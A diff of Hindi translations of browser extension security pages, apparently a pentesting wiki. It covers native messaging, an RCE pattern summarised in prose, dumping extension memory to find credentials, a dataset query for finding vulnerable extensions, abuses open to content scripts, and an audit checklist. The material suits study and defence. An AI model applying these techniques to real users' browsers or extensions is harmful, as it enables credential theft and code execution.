एक महत्वपूर्ण विचार यह है कि उन परिदृश्यों में जहां कई पृष्ठों को `onMessage` इवेंट प्राप्त करने के लिए सेट किया गया है, **विशिष्ट इवेंट के लिए `sendResponse()`** निष्पादित करने वाला पहला पृष्ठ ही प्रभावी रूप से प्रतिक्रिया देने में सक्षम होगा। उसी इवेंट के लिए किसी भी बाद की प्रतिक्रियाओं पर विचार नहीं किया जाएगा।
|
||||
|
||||
नए एक्सटेंशन बनाते समय, वादों की ओर प्राथमिकता होनी चाहिए न कि कॉलबैक की। कॉलबैक के उपयोग के संबंध में, `sendResponse()` फ़ंक्शन केवल तभी मान्य माना जाता है जब इसे सीधे समकालिक संदर्भ में निष्पादित किया जाए, या यदि इवेंट हैंडलर `true` लौटाकर असमकालिक संचालन का संकेत देता है। यदि कोई भी हैंडलर `true` नहीं लौटाता है या यदि `sendResponse()` फ़ंक्शन मेमोरी से हटा दिया जाता है (गारबेज-कलेक्टेड), तो डिफ़ॉल्ट रूप से `sendMessage()` फ़ंक्शन से संबंधित कॉलबैक को ट्रिगर किया जाएगा।
|
||||
नए एक्सटेंशन बनाते समय, वादों की ओर प्राथमिकता होनी चाहिए न कि कॉलबैक की। कॉलबैक के उपयोग के संबंध में, `sendResponse()` फ़ंक्शन केवल तभी मान्य माना जाता है जब इसे सीधे समकालिक संदर्भ में निष्पादित किया जाए, या यदि इवेंट हैंडलर `true` लौटाकर असमकालिक संचालन को इंगित करता है। यदि कोई भी हैंडलर `true` नहीं लौटाता है या यदि `sendResponse()` फ़ंक्शन मेमोरी से हटा दिया जाता है (गारबेज-कलेक्टेड), तो डिफ़ॉल्ट रूप से `sendMessage()` फ़ंक्शन से संबंधित कॉलबैक को ट्रिगर किया जाएगा।
|
||||
|
||||
## Native Messaging
|
||||
|
||||
ब्राउज़र एक्सटेंशन **stdin के माध्यम से सिस्टम में बाइनरी के साथ संवाद** करने की अनुमति भी देते हैं। एप्लिकेशन को इस बात का संकेत देने वाला एक json स्थापित करना चाहिए जैसे:
|
||||
ब्राउज़र एक्सटेंशन **stdin के माध्यम से सिस्टम में बाइनरी के साथ संवाद** करने की अनुमति भी देते हैं। एप्लिकेशन को इस बात को इंगित करने वाला एक json स्थापित करना चाहिए जैसे:
|
||||
```json
|
||||
{
|
||||
"name": "com.my_company.my_application",
|
||||
@ -559,23 +559,23 @@ console.log("Received " + response)
|
||||
इस [**ब्लॉग पोस्ट**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/) में एक कमजोर पैटर्न जो स्थानीय संदेशों का दुरुपयोग करता है, प्रस्तावित किया गया है:
|
||||
|
||||
1. ब्राउज़र एक्सटेंशन के लिए सामग्री स्क्रिप्ट के लिए एक वाइल्डकार्ड पैटर्न है।
|
||||
2. सामग्री स्क्रिप्ट `sendMessage` का उपयोग करके पृष्ठभूमि स्क्रिप्ट को `postMessage` संदेश भेजती है।
|
||||
3. पृष्ठभूमि स्क्रिप्ट संदेश को स्थानीय एप्लिकेशन को `sendNativeMessage` का उपयोग करके भेजती है।
|
||||
2. सामग्री स्क्रिप्ट `sendMessage` का उपयोग करके बैकग्राउंड स्क्रिप्ट को `postMessage` संदेश भेजती है।
|
||||
3. बैकग्राउंड स्क्रिप्ट संदेश को `sendNativeMessage` का उपयोग करके स्थानीय एप्लिकेशन को भेजती है।
|
||||
4. स्थानीय एप्लिकेशन संदेश को खतरनाक तरीके से संभालता है, जिससे कोड निष्पादन होता है।
|
||||
|
||||
और इसके अंदर **किसी भी पृष्ठ से RCE तक जाने का एक उदाहरण एक ब्राउज़र एक्सटेंशन का दुरुपयोग करते हुए समझाया गया है**।
|
||||
|
||||
## मेमोरी/कोड/क्लिपबोर्ड में संवेदनशील जानकारी
|
||||
|
||||
यदि एक ब्राउज़र एक्सटेंशन **संवेदनशील जानकारी को अपनी मेमोरी के अंदर संग्रहीत करता है**, तो इसे **डंप** किया जा सकता है (विशेष रूप से विंडोज मशीनों में) और इस जानकारी के लिए **खोजा** जा सकता है।
|
||||
यदि एक ब्राउज़र एक्सटेंशन **संवेदनशील जानकारी को अपनी मेमोरी के अंदर स्टोर करता है**, तो इसे **डंप** किया जा सकता है (विशेष रूप से विंडोज मशीनों में) और इस जानकारी के लिए **खोजा** जा सकता है।
|
||||
|
||||
इसलिए, ब्राउज़र एक्सटेंशन की मेमोरी **सुरक्षित नहीं मानी जानी चाहिए** और **संवेदनशील जानकारी** जैसे क्रेडेंशियल्स या म्नेमोनिक वाक्यांश **संग्रहीत नहीं किए जाने चाहिए**।
|
||||
इसलिए, ब्राउज़र एक्सटेंशन की मेमोरी **सुरक्षित नहीं मानी जानी चाहिए** और **संवेदनशील जानकारी** जैसे क्रेडेंशियल्स या म्नेमोनिक वाक्यांश **स्टोर नहीं किए जाने चाहिए**।
|
||||
|
||||
बेशक, **कोड में संवेदनशील जानकारी न डालें**, क्योंकि यह **सार्वजनिक** होगी।
|
||||
|
||||
ब्राउज़र से मेमोरी को डंप करने के लिए आप **प्रक्रिया मेमोरी को डंप** कर सकते हैं या ब्राउज़र एक्सटेंशन की **सेटिंग्स** में जाकर **`Inspect pop-up`** पर क्लिक करें -> **`Memory`** अनुभाग में -> **`Take a snapshot`** और संवेदनशील जानकारी के लिए स्नैपशॉट के अंदर खोजने के लिए **`CTRL+F`** दबाएं।
|
||||
ब्राउज़र से मेमोरी को डंप करने के लिए आप **प्रक्रिया मेमोरी को डंप** कर सकते हैं या ब्राउज़र एक्सटेंशन की **सेटिंग्स** पर जाने के लिए **`Inspect pop-up`** पर क्लिक करें -> **`Memory`** सेक्शन में -> **`Take a snapshot`** और संवेदनशील जानकारी के लिए स्नैपशॉट के अंदर खोजने के लिए **`CTRL+F`** दबाएं।
|
||||
|
||||
इसके अलावा, अत्यधिक संवेदनशील जानकारी जैसे म्नेमोनिक कुंजी या पासवर्ड **क्लिपबोर्ड में कॉपी करने की अनुमति नहीं दी जानी चाहिए** (या कम से कम कुछ सेकंड में इसे क्लिपबोर्ड से हटा दें) क्योंकि तब क्लिपबोर्ड की निगरानी करने वाली प्रक्रियाएँ उन्हें प्राप्त कर सकेंगी।
|
||||
इसके अलावा, अत्यधिक संवेदनशील जानकारी जैसे म्नेमोनिक कुंजी या पासवर्ड **क्लिपबोर्ड में कॉपी करने की अनुमति नहीं दी जानी चाहिए** (या कम से कम इसे कुछ सेकंड में क्लिपबोर्ड से हटा दें) क्योंकि तब क्लिपबोर्ड की निगरानी करने वाली प्रक्रियाएँ उन्हें प्राप्त कर सकेंगी।
|
||||
|
||||
## ब्राउज़र में एक एक्सटेंशन लोड करना
|
||||
|
||||
@ -606,7 +606,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
||||
|
||||
### CRX व्यूअर एक्सटेंशन का उपयोग करें
|
||||
|
||||
एक और सुविधाजनक विधि Chrome एक्सटेंशन सोर्स व्यूअर का उपयोग करना है, जो एक ओपन-सोर्स प्रोजेक्ट है। इसे [Chrome वेब स्टोर](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) से स्थापित किया जा सकता है। व्यूअर का सोर्स कोड इसके [GitHub रिपॉजिटरी](https://github.com/Rob--W/crxviewer) में उपलब्ध है।
|
||||
एक और सुविधाजनक तरीका Chrome Extension Source Viewer का उपयोग करना है, जो एक ओपन-सोर्स प्रोजेक्ट है। इसे [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) से इंस्टॉल किया जा सकता है। व्यूअर का सोर्स कोड इसके [GitHub repository](https://github.com/Rob--W/crxviewer) में उपलब्ध है।
|
||||
|
||||
### स्थानीय रूप से स्थापित एक्सटेंशन का सोर्स देखें
|
||||
|
||||
@ -614,7 +614,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
||||
|
||||
1. `chrome://version/` पर जाकर अपने Chrome स्थानीय प्रोफ़ाइल निर्देशिका तक पहुँचें और "Profile Path" फ़ील्ड को खोजें।
|
||||
2. प्रोफ़ाइल निर्देशिका के भीतर `Extensions/` उपफ़ोल्डर पर जाएँ।
|
||||
3. इस फ़ोल्डर में सभी स्थापित एक्सटेंशन्स होते हैं, आमतौर पर उनके सोर्स कोड के साथ एक पठनीय प्रारूप में।
|
||||
3. इस फ़ोल्डर में सभी स्थापित एक्सटेंशन होते हैं, आमतौर पर उनके सोर्स कोड के साथ एक पठनीय प्रारूप में।
|
||||
|
||||
एक्सटेंशनों की पहचान करने के लिए, आप उनके IDs को नामों से मैप कर सकते हैं:
|
||||
|
||||
@ -623,24 +623,24 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
||||
|
||||
### फ़ाइल आर्काइवर या अनपैकर का उपयोग करें
|
||||
|
||||
Chrome वेब स्टोर पर जाएँ और एक्सटेंशन डाउनलोड करें। फ़ाइल का `.crx` एक्सटेंशन होगा। फ़ाइल के एक्सटेंशन को `.crx` से `.zip` में बदलें। ZIP फ़ाइल की सामग्री निकालने के लिए किसी भी फ़ाइल आर्काइवर (जैसे WinRAR, 7-Zip, आदि) का उपयोग करें।
|
||||
Chrome Web Store पर जाएँ और एक्सटेंशन डाउनलोड करें। फ़ाइल का `.crx` एक्सटेंशन होगा। फ़ाइल के एक्सटेंशन को `.crx` से `.zip` में बदलें। ZIP फ़ाइल की सामग्री निकालने के लिए किसी भी फ़ाइल आर्काइवर (जैसे WinRAR, 7-Zip, आदि) का उपयोग करें।
|
||||
|
||||
### Chrome में डेवलपर मोड का उपयोग करें
|
||||
|
||||
Chrome खोलें और `chrome://extensions/` पर जाएँ। शीर्ष दाएँ कोने में "डेवलपर मोड" सक्षम करें। "लोड अनपैक्ड एक्सटेंशन..." पर क्लिक करें। अपने एक्सटेंशन के निर्देशिका पर जाएँ। यह सोर्स कोड डाउनलोड नहीं करता है, लेकिन यह पहले से डाउनलोड किए गए या विकसित किए गए एक्सटेंशन के कोड को देखने और संशोधित करने के लिए उपयोगी है।
|
||||
Chrome खोलें और `chrome://extensions/` पर जाएँ। शीर्ष दाएँ कोने में "डेवलपर मोड" सक्षम करें। "लोड अनपैक्ड एक्सटेंशन..." पर क्लिक करें। अपने एक्सटेंशन के निर्देशिका पर जाएँ। यह सोर्स कोड डाउनलोड नहीं करता है, लेकिन पहले से डाउनलोड किए गए या विकसित किए गए एक्सटेंशन के कोड को देखने और संशोधित करने के लिए उपयोगी है।
|
||||
|
||||
## Chrome एक्सटेंशन मैनिफेस्ट डेटासेट
|
||||
|
||||
कमजोर ब्राउज़र एक्सटेंशनों को पहचानने के लिए आप [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) का उपयोग कर सकते हैं और संभावित कमजोर संकेतों के लिए उनके मैनिफेस्ट फ़ाइलों की जांच कर सकते हैं। उदाहरण के लिए, 25000 से अधिक उपयोगकर्ताओं, `content_scripts` और अनुमति `nativeMessaging` वाले एक्सटेंशनों की जांच करने के लिए:
|
||||
कमजोर ब्राउज़र एक्सटेंशनों को पहचानने के लिए आप [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) का उपयोग कर सकते हैं और संभावित कमजोर संकेतों के लिए उनके मैनिफेस्ट फ़ाइलों की जांच कर सकते हैं। उदाहरण के लिए, 25000 से अधिक उपयोगकर्ताओं वाले एक्सटेंशनों, `content_scripts` और अनुमति `nativeMessaging` की जांच करने के लिए:
|
||||
```bash
|
||||
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
|
||||
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
|
||||
```
|
||||
## सुरक्षा ऑडिट चेकलिस्ट
|
||||
|
||||
हालांकि ब्राउज़र एक्सटेंशन में **सीमित हमले की सतह** होती है, उनमें से कुछ में **कमजोरियाँ** या **संभावित सख्ती में सुधार** हो सकते हैं। निम्नलिखित सबसे सामान्य हैं:
|
||||
हालांकि ब्राउज़र एक्सटेंशन का **सीमित हमले का क्षेत्र** होता है, उनमें से कुछ में **कमजोरियाँ** या **संभावित सख्ती में सुधार** हो सकते हैं। निम्नलिखित सबसे सामान्य हैं:
|
||||
|
||||
- [ ] **अनुरोध की गई** **`permissions`** को यथासंभव सीमित करें
|
||||
- [ ] **अनुरोधित** **`permissions`** को यथासंभव सीमित करें
|
||||
- [ ] **`host_permissions`** को यथासंभव सीमित करें
|
||||
- [ ] एक **मजबूत** **`content_security_policy`** का उपयोग करें
|
||||
- [ ] **`externally_connectable`** को यथासंभव सीमित करें, यदि कोई आवश्यकता नहीं है और संभव है, तो इसे डिफ़ॉल्ट रूप से न छोड़ें, **`{}`** निर्दिष्ट करें
|
||||
@ -649,12 +649,12 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
||||
- [ ] यदि **`web_accessible_resources`** कोई नहीं है, तो [**ClickJacking**](browext-clickjacking.md) के लिए जांचें
|
||||
- [ ] यदि **एक्सटेंशन** से **वेब पृष्ठ** में कोई **संवाद** होता है, तो [**XSS**](browext-xss-example.md) **कमजोरियों** के लिए जांचें जो संवाद में उत्पन्न होती हैं।
|
||||
- [ ] यदि पोस्ट संदेशों का उपयोग किया जाता है, तो [**पोस्ट संदेश कमजोरियों**](../postmessage-vulnerabilities/)** के लिए जांचें।**
|
||||
- [ ] यदि **कंटेंट स्क्रिप्ट DOM विवरणों तक पहुंचती है**, तो जांचें कि वे **XSS** को **परिवर्तित** करने पर **परिचय नहीं कर रही हैं** यदि वे वेब द्वारा **संशोधित** की जाती हैं
|
||||
- [ ] यदि **कंटेंट स्क्रिप्ट DOM विवरणों** तक पहुंचती है, तो जांचें कि वे **XSS** को **परिवर्तित** करने पर **परिचय नहीं कर रही हैं** यदि वे वेब द्वारा **संशोधित** की जाती हैं
|
||||
- [ ] यदि यह संवाद **कंटेंट स्क्रिप्ट -> पृष्ठभूमि स्क्रिप्ट संवाद** में भी शामिल है, तो विशेष जोर दें
|
||||
- [ ] यदि पृष्ठभूमि स्क्रिप्ट **नेटिव मैसेजिंग** के माध्यम से संवाद कर रही है, तो जांचें कि संवाद सुरक्षित और साफ है
|
||||
- [ ] **संवेदनशील जानकारी को ब्राउज़र एक्सटेंशन** **कोड** के अंदर **स्टोर नहीं किया जाना चाहिए**
|
||||
- [ ] **संवेदनशील जानकारी को ब्राउज़र एक्सटेंशन** **मेमोरी** के अंदर **स्टोर नहीं किया जाना चाहिए**
|
||||
- [ ] **संवेदनशील जानकारी को बिना सुरक्षा के फ़ाइल प्रणाली** के अंदर **स्टोर नहीं किया जाना चाहिए**
|
||||
- [ ] यदि पृष्ठभूमि स्क्रिप्ट **नेटिव मैसेजिंग** के माध्यम से संवाद कर रही है, तो जांचें कि संवाद सुरक्षित और स्वच्छ है
|
||||
- [ ] **संवेदनशील जानकारी को** ब्राउज़र एक्सटेंशन **कोड** के अंदर **नहीं रखा जाना चाहिए**
|
||||
- [ ] **संवेदनशील जानकारी को** ब्राउज़र एक्सटेंशन **मेमोरी** के अंदर **नहीं रखा जाना चाहिए**
|
||||
- [ ] **संवेदनशील जानकारी को** **फाइल सिस्टम में असुरक्षित** **नहीं रखा जाना चाहिए**
|
||||
|
||||
## ब्राउज़र एक्सटेंशन जोखिम
|
||||
|
||||
@ -668,9 +668,9 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
||||
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **दर्शक**: बस एक्सटेंशन के मैनिफेस्ट का JSON-प्रेटीफाइड संस्करण प्रदर्शित करता है।
|
||||
- **फिंगरप्रिंट विश्लेषण**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) का पता लगाना और क्रोम एक्सटेंशन फिंगरप्रिंटिंग जावास्क्रिप्ट का स्वचालित निर्माण।
|
||||
- **संभावित क्लिकजैकिंग विश्लेषण**: एक्सटेंशन HTML पृष्ठों का पता लगाना जिनमें [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) निर्देश सेट है। ये पृष्ठों के उद्देश्य के आधार पर क्लिकजैकिंग के लिए संभावित रूप से कमजोर हो सकते हैं।
|
||||
- **अनुमति चेतावनी दर्शक**: जो सभी क्रोम अनुमति प्रॉम्प्ट चेतावनियों की सूची दिखाता है जो उपयोगकर्ता द्वारा एक्सटेंशन स्थापित करने का प्रयास करते समय प्रदर्शित की जाएगी।
|
||||
- **अनुमति चेतावनी** दर्शक: जो सभी क्रोम अनुमति प्रॉम्प्ट चेतावनियों की सूची दिखाता है जो उपयोगकर्ता द्वारा एक्सटेंशन स्थापित करने का प्रयास करते समय प्रदर्शित की जाएगी।
|
||||
- **खतरनाक फ़ंक्शन**: खतरनाक फ़ंक्शनों का स्थान दिखाता है जिन्हें संभावित रूप से एक हमलावर द्वारा शोषित किया जा सकता है (जैसे, innerHTML, chrome.tabs.executeScript जैसे फ़ंक्शन)।
|
||||
- **प्रवेश बिंदु**: दिखाता है कि एक्सटेंशन उपयोगकर्ता/बाहरी इनपुट को कहां लेता है। यह एक्सटेंशन की सतह क्षेत्र को समझने और एक्सटेंशन को दुर्भावनापूर्ण रूप से तैयार किए गए डेटा भेजने के संभावित बिंदुओं की तलाश करने के लिए उपयोगी है।
|
||||
- **प्रवेश बिंदु**: दिखाता है कि एक्सटेंशन उपयोगकर्ता/बाहरी इनपुट को कहां लेता है। यह एक्सटेंशन के सतह क्षेत्र को समझने और एक्सटेंशन को दुर्भावनापूर्ण रूप से तैयार किए गए डेटा भेजने के संभावित बिंदुओं की तलाश करने के लिए उपयोगी है।
|
||||
- खतरनाक फ़ंक्शन और प्रवेश बिंदु स्कैनर के लिए उनके उत्पन्न अलर्ट में निम्नलिखित शामिल हैं:
|
||||
- संबंधित कोड स्निपेट और वह पंक्ति जिसने अलर्ट का कारण बना।
|
||||
- समस्या का विवरण।
|
||||
@ -684,7 +684,7 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
||||
- एक्सटेंशन और स्वरूपित संस्करण डाउनलोड करें।
|
||||
- मूल एक्सटेंशन डाउनलोड करें।
|
||||
- एक्सटेंशन का एक सुंदर संस्करण डाउनलोड करें (स्वचालित रूप से सुंदर HTML और जावास्क्रिप्ट)।
|
||||
- स्कैन परिणामों का स्वचालित कैशिंग, एक एक्सटेंशन स्कैन चलाने में पहले बार में अच्छा समय लगेगा। हालाँकि दूसरी बार, यदि एक्सटेंशन को अपडेट नहीं किया गया है, तो परिणाम कैश किए जाने के कारण लगभग तात्कालिक होगा।
|
||||
- स्कैन परिणामों का स्वचालित कैशिंग, एक एक्सटेंशन स्कैन चलाने में पहले बार में अच्छा समय लगेगा। हालाँकि, दूसरी बार, यह मानते हुए कि एक्सटेंशन को अपडेट नहीं किया गया है, परिणामों के कैश होने के कारण लगभग तात्कालिक होगा।
|
||||
- लिंक करने योग्य रिपोर्ट URL, किसी अन्य व्यक्ति को tarnish द्वारा उत्पन्न एक्सटेंशन रिपोर्ट से आसानी से लिंक करें।
|
||||
|
||||
### [Neto](https://github.com/elevenpaths/neto)
|
||||
|
@ -15,11 +15,11 @@
|
||||
|
||||
> ये संसाधन फिर एक वेबपृष्ठ में URL **`chrome-extension://[PACKAGE ID]/[PATH]`** के माध्यम से उपलब्ध होंगे, जिसे **`extension.getURL method`** के साथ उत्पन्न किया जा सकता है। Allowlisted संसाधन उचित CORS हेडर के साथ परोसे जाते हैं, इसलिए वे XHR जैसे तंत्रों के माध्यम से उपलब्ध होते हैं।[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
|
||||
|
||||
एक ब्राउज़र एक्सटेंशन में **`web_accessible_resources`** केवल वेब के माध्यम से ही नहीं, बल्कि एक्सटेंशन के अंतर्निहित विशेषाधिकारों के साथ भी कार्य करते हैं। इसका मतलब है कि उनके पास निम्नलिखित करने की क्षमता है:
|
||||
एक ब्राउज़र एक्सटेंशन में **`web_accessible_resources`** केवल वेब के माध्यम से ही नहीं, बल्कि एक्सटेंशन की अंतर्निहित विशेषाधिकारों के साथ भी कार्य करते हैं। इसका मतलब है कि उनके पास निम्नलिखित करने की क्षमता है:
|
||||
|
||||
- एक्सटेंशन की स्थिति बदलना
|
||||
- अतिरिक्त संसाधन लोड करना
|
||||
- ब्राउज़र के साथ एक निश्चित हद तक बातचीत करना
|
||||
- ब्राउज़र के साथ एक निश्चित हद तक इंटरैक्ट करना
|
||||
|
||||
हालांकि, यह सुविधा एक सुरक्षा जोखिम प्रस्तुत करती है। यदि **`web_accessible_resources`** के भीतर कोई संसाधन महत्वपूर्ण कार्यक्षमता रखता है, तो एक हमलावर संभावित रूप से इस संसाधन को एक बाहरी वेब पृष्ठ में एम्बेड कर सकता है। इस पृष्ठ पर जाने वाले अनजान उपयोगकर्ता अनजाने में इस एम्बेडेड संसाधन को सक्रिय कर सकते हैं। ऐसी सक्रियता अनपेक्षित परिणामों का कारण बन सकती है, जो एक्सटेंशन के संसाधनों की अनुमतियों और क्षमताओं पर निर्भर करती है।
|
||||
|
||||
|
@ -50,40 +50,40 @@ Permissions को extension के **`manifest.json`** फ़ाइल मे
|
||||
|
||||
### सामग्री स्क्रिप्ट चलाना <a href="#running-content-scripts" id="running-content-scripts"></a>
|
||||
|
||||
सामग्री स्क्रिप्ट को एक्सटेंशन मैनिफेस्ट में स्थिर रूप से नहीं लिखा गया है। पर्याप्त **`host_permissions`** दिए जाने पर, **एक्सटेंशन उन्हें गतिशील रूप से लोड कर सकते हैं** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **या** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) को कॉल करके।
|
||||
सामग्री स्क्रिप्ट को एक्सटेंशन मैनिफेस्ट में स्थिर रूप से नहीं लिखा जाना चाहिए। पर्याप्त **`host_permissions`** के साथ, **एक्सटेंशन उन्हें गतिशील रूप से लोड कर सकते हैं** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **या** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) को कॉल करके।
|
||||
|
||||
दोनों APIs केवल एक्सटेंशनों में सामग्री स्क्रिप्ट के रूप में निहित फ़ाइलों को निष्पादित करने की अनुमति नहीं देती हैं बल्कि **मनमाने कोड** को भी निष्पादित करने की अनुमति देती हैं। पहला जावास्क्रिप्ट कोड को एक स्ट्रिंग के रूप में पास करने की अनुमति देता है जबकि दूसरा एक जावास्क्रिप्ट फ़ंक्शन की अपेक्षा करता है जो इंजेक्शन कमजोरियों के प्रति कम संवेदनशील होता है। फिर भी, यदि इनका दुरुपयोग किया जाए तो दोनों APIs तबाही मचा सकती हैं।
|
||||
दोनों APIs केवल एक्सटेंशन में सामग्री स्क्रिप्ट के रूप में निहित फ़ाइलों को निष्पादित करने की अनुमति नहीं देती हैं बल्कि **मनमाने कोड** को भी निष्पादित करने की अनुमति देती हैं। पहला जावास्क्रिप्ट कोड को एक स्ट्रिंग के रूप में पास करने की अनुमति देता है जबकि दूसरा एक जावास्क्रिप्ट फ़ंक्शन की अपेक्षा करता है जो इंजेक्शन कमजोरियों के प्रति कम संवेदनशील होता है। फिर भी, यदि इनका दुरुपयोग किया जाए तो दोनों APIs तबाही मचा सकती हैं।
|
||||
|
||||
> [!CAUTION]
|
||||
> ऊपर की क्षमताओं के अलावा, सामग्री स्क्रिप्ट उदाहरण के लिए **क्रेडेंशियल्स को इंटरसेप्ट** कर सकती हैं जब ये वेब पृष्ठों में दर्ज किए जाते हैं। इन्हें दुरुपयोग करने का एक और क्लासिक तरीका है **हर एक वेबसाइट पर विज्ञापन डालना।** समाचार वेबसाइटों की विश्वसनीयता को नुकसान पहुँचाने के लिए **धोखाधड़ी संदेश** जोड़ना भी संभव है। अंततः, वे **बैंकिंग** वेबसाइटों को पैसे के ट्रांसफर को पुनर्निर्देशित करने के लिए **हेरफेर** कर सकते हैं।
|
||||
> ऊपर की क्षमताओं के अलावा, सामग्री स्क्रिप्ट उदाहरण के लिए **क्रेडेंशियल्स को इंटरसेप्ट** कर सकती हैं जब ये वेब पृष्ठों में दर्ज किए जाते हैं। इन्हें दुरुपयोग करने का एक और क्लासिक तरीका है **हर एक वेबसाइट पर विज्ञापन इंजेक्ट करना।** समाचार वेबसाइटों की विश्वसनीयता को दुरुपयोग करने के लिए **धोखाधड़ी संदेश** जोड़ना भी संभव है। अंततः, वे **बैंकिंग** वेबसाइटों को पैसे के ट्रांसफर को पुनर्निर्देशित करने के लिए **हेरफेर** कर सकते हैं।
|
||||
|
||||
### निहित विशेषाधिकार <a href="#implicit-privileges" id="implicit-privileges"></a>
|
||||
|
||||
कुछ एक्सटेंशन विशेषाधिकार **स्पष्ट रूप से घोषित करने की आवश्यकता नहीं होती।** एक उदाहरण [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) है: इसकी मूल कार्यक्षमता बिना किसी विशेषाधिकार के सुलभ है। कोई भी एक्सटेंशन तब खोले जाने और बंद किए जाने पर सूचित किया जा सकता है, यह केवल यह नहीं जानता कि ये टैब किस वेबसाइट से संबंधित हैं।
|
||||
कुछ एक्सटेंशन विशेषाधिकार **स्पष्ट रूप से घोषित करने की आवश्यकता नहीं है।** एक उदाहरण [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) है: इसकी मूल कार्यक्षमता बिना किसी विशेषाधिकार के सुलभ है। कोई भी एक्सटेंशन तब खोले जाने और बंद होने पर सूचित किया जा सकता है, यह केवल यह नहीं जानता कि ये टैब किस वेबसाइट से संबंधित हैं।
|
||||
|
||||
क्या यह बहुत हानिरहित लगता है? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) कुछ कम हानिरहित है। इसका उपयोग **एक नया टैब बनाने के लिए किया जा सकता है**, जो मूल रूप से [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) के समान है जिसे कोई भी वेबसाइट कॉल कर सकती है। फिर भी जबकि `window.open()` **पॉप-अप ब्लॉकर के अधीन है, `tabs.create()` नहीं है।**
|
||||
क्या यह बहुत हानिरहित लगता है? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) कुछ कम हानिकारक है। इसका उपयोग **एक नया टैब बनाने के लिए** किया जा सकता है, जो मूल रूप से [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) के समान है जिसे कोई भी वेबसाइट कॉल कर सकती है। फिर भी जबकि `window.open()` **पॉप-अप ब्लॉकर के अधीन है, `tabs.create()` नहीं है।**
|
||||
|
||||
> [!CAUTION]
|
||||
> एक एक्सटेंशन जब चाहे तब किसी भी संख्या में टैब बना सकता है।
|
||||
|
||||
यदि आप संभावित `tabs.create()` पैरामीटर के माध्यम से देखते हैं, तो आप यह भी देखेंगे कि इसकी क्षमताएँ `window.open()` द्वारा नियंत्रित होने की अनुमति से कहीं अधिक हैं। और जबकि फ़ायरफ़ॉक्स इस API के साथ `data:` URIs के उपयोग की अनुमति नहीं देता, क्रोम में ऐसी कोई सुरक्षा नहीं है। **इस तरह के URIs के शीर्ष स्तर पर उपयोग को** [**फिशिंग के लिए दुरुपयोग किए जाने के कारण प्रतिबंधित कर दिया गया है**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**।**
|
||||
यदि आप संभावित `tabs.create()` पैरामीटर के माध्यम से देखते हैं, तो आप यह भी देखेंगे कि इसकी क्षमताएँ `window.open()` द्वारा नियंत्रित करने की अनुमति से कहीं अधिक हैं। और जबकि फ़ायरफ़ॉक्स इस API के साथ `data:` URIs के उपयोग की अनुमति नहीं देता है, क्रोम में ऐसी कोई सुरक्षा नहीं है। **इस तरह के URIs के शीर्ष स्तर पर उपयोग को** [**फिशिंग के लिए दुरुपयोग किए जाने के कारण प्रतिबंधित कर दिया गया है**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**।**
|
||||
|
||||
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) `tabs.create()` के समान है लेकिन **एक मौजूदा टैब को संशोधित करेगा।** इसलिए एक दुर्भावनापूर्ण एक्सटेंशन उदाहरण के लिए मनमाने ढंग से आपके टैब में एक विज्ञापन पृष्ठ लोड कर सकता है, और यह संबंधित टैब को भी सक्रिय कर सकता है।
|
||||
|
||||
### वेबकैम, भू-स्थान और मित्र <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
|
||||
|
||||
आप शायद जानते हैं कि वेबसाइटें विशेष अनुमतियाँ मांग सकती हैं, जैसे कि आपके वेबकैम (वीडियो कॉन्फ्रेंसिंग उपकरण) या भौगोलिक स्थान (मानचित्र) तक पहुँचने के लिए। यह दुरुपयोग की संभावनाओं के साथ विशेषताएँ हैं, इसलिए उपयोगकर्ताओं को हर बार यह पुष्टि करनी होती है कि वे अभी भी इसे चाहते हैं।
|
||||
आप शायद जानते हैं कि वेबसाइटें विशेष अनुमतियाँ मांग सकती हैं, जैसे कि आपके वेबकैम (वीडियो कॉन्फ्रेंसिंग उपकरण) या भौगोलिक स्थान (मानचित्र) तक पहुँचने के लिए। यह दुरुपयोग की पर्याप्त संभावनाओं के साथ विशेषताएँ हैं, इसलिए उपयोगकर्ताओं को हर बार यह पुष्टि करनी होती है कि वे अभी भी इसे चाहते हैं।
|
||||
|
||||
> [!CAUTION]
|
||||
